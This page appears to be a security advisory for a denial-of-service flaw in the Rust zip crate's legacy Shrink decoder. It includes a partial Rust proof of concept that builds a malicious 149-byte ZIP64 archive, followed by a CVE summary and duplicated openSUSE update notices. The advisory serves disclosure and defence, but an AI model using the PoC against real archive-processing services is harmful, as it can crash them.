CVE-2026-115907

Summary

A malicious 149-byte ZIP archive can cause a denial of service in applications that enable legacy-zip and use ZipArchive::extract(). An attacker-controlled ZIP64 uncompressed size triggers a capacity overflow panic in the Shrink decoder in optimized builds, potentially terminating the affected process.

Details

When reading a Shrink-compressed entry, ShrinkDecoder::read() buffers the compressed input and reserves output capacity using the entry's declared uncompressed size:

if !self.stream_read {
    self.stream_read = true;
    let mut compressed_bytes = Vec::new();
    self.compressed_reader.read_to_end(&mut compressed_bytes)?;
    self.stream.reserve(self.uncompressed_size as usize);
    hwunshrink(
        &compressed_bytes,
        self.uncompressed_size as usize,
        &mut self.stream,
    )?;
}

In version 8.6.0, this is located in src/legacy/shrink.rs. The vulnerable legacy codecs are compiled when the legacy-zip Cargo feature is enabled.

self.uncompressed_size is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of u64::MAX, while supplying only one byte of compressed data.

The reserve occurs before hwunshrink() can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic capacity overflow panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through ZipArchive::extract().

The same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path.

PoC

Create a new Cargo project with the following layout:

zip2-legacy-poc/
|-- Cargo.toml
`-- src/
    `-- main.rs

Use this Cargo.toml:

[package]
name = "zip2-legacy-poc"
version = "0.1.0"
edition = "2024"
publish = false

[dependencies]
tempfile = "3"
zip = { version = "=8.6.0", features = ["legacy-zip"] }

Use this src/main.rs:

use std::fs::File;
use std::io::{Cursor, Write};

fn push16(out: &mut Vec<u8>, value: u16) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn push32(out: &mut Vec<u8>, value: u32) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn push64(out: &mut Vec<u8>, value: u64) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn zip64_extra() -> Vec<u8> {
    let mut extra = Vec::new();
    push16(&mut extra, 0x0001);
    push16(&mut extra, 16);
    push64(&mut extra, u64::MAX);
    push64(&mut extra, 1);
    extra
}

fn archive() -> Vec<u8> {
    let name = b"entry";
    let extra = zip64_extra();
    let mut out = Vec::new();

    push32(&mut out, 0x0403_4b50);
    push16(&mut out, 45);
    push16(&mut out, 0);
    push16(&mut out, 1); // Shrink compression.
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, u32::MAX);
    push32(&mut out, u32::MAX);
    push16(&mut out, name.len() as u16);
    push16(&mut out, extra.len() as u16);
    out.extend_from_slice(name);
    out.extend_from_slice(&extra);
    out.push(0);

    let central_start = out.len() as u32;

    push32(&mut out, 0x0201_4b50);
    push16(&mut out, 45);
    push16(&mut out, 45);
    push16(&mut out, 0);
    push16(&mut out, 1); // Shrink compression.
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, u32::MAX);
    push32(&mut out, u32::MAX);
    push16(&mut out, name.len() as u16);
    push16(&mut out, extra.len() as u16);
    push16(&mut out, 0);
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, 0);
    out.extend_from_slice(name);
    out.extend_from_slice(&extra);

    let central_size =…

zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.

These are all security issues fixed in the python313-uv-0.13.6-1.1 package on the GA media of openSUSE Tumbleweed.

This update for rust-keylime fixes the following issue:

• CVE-2026-115905: zip: security control bypass via parser differential between central directory and local headers (bsc#1287921)
• CVE-2026-115906: zip: authentication bypass in AES encrypted entries due to improper HMAC verification (bsc#1287921)
• CVE-2026-115907: zip: denial of service via unbounded memory allocation in legacy decoders (bsc#1287921)
• CVE-2026-115908: zip: path traversal via lexical symlink validation during extraction (bsc#1287921)
• CVE-2026-115909: zip: denial of service via uncontrolled memory allocation on symlink targets (bsc#1287921)

Changes for rust-keylime:

• Update to version 0.2.10+12:

• log Agent UUID at push agent startup
• Limit actix-web workers
• Fix clippy needless_late_init warnings
• Unwrap OCTET STRING wrapped EK certificates
• build(deps): bump rand from 0.9.4 to 0.10.1
• build(deps): bump glob from 0.3.3 to 0.3.4
• build(deps): bump reqwest from 0.13.3 to 0.13.4
• Check shutdown marker inside ml_extend loop
• Fix clippy useless_borrows_in_formatting warnings
• build(deps): bump tokio from 1.52.2 to 1.53.1
• Fix payload key upgrade regression by falling back to mTLS key
• Accept any RSA key size for payload encryption
• Bump version to 0.2.10
• keylime: use runtime OpenSSL algorithm detection instead of compile-time symbols

This update for rust-keylime fixes the following issue:

• CVE-2026-115905: zip: security control bypass via parser differential between central directory and local headers (bsc#1287921)
• CVE-2026-115906: zip: authentication bypass in AES encrypted entries due to improper HMAC verification (bsc#1287921)
• CVE-2026-115907: zip: denial of service via unbounded memory allocation in legacy decoders (bsc#1287921)
• CVE-2026-115908: zip: path traversal via lexical symlink validation during extraction (bsc#1287921)
• CVE-2026-115909: zip: denial of service via uncontrolled memory allocation on symlink targets (bsc#1287921)

Changes for rust-keylime:

• Update to version 0.2.10+12:

• log Agent UUID at push agent startup
• Limit actix-web workers
• Fix clippy needless_late_init warnings
• Unwrap OCTET STRING wrapped EK certificates
• build(deps): bump rand from 0.9.4 to 0.10.1
• build(deps): bump glob from 0.3.3 to 0.3.4
• build(deps): bump reqwest from 0.13.3 to 0.13.4
• Check shutdown marker inside ml_extend loop
• Fix clippy useless_borrows_in_formatting warnings
• build(deps): bump tokio from 1.52.2 to 1.53.1
• Fix payload key upgrade regression by falling back to mTLS key
• Accept any RSA key size for payload encryption
• Bump version to 0.2.10
• keylime: use runtime OpenSSL algorithm detection instead of compile-time symbols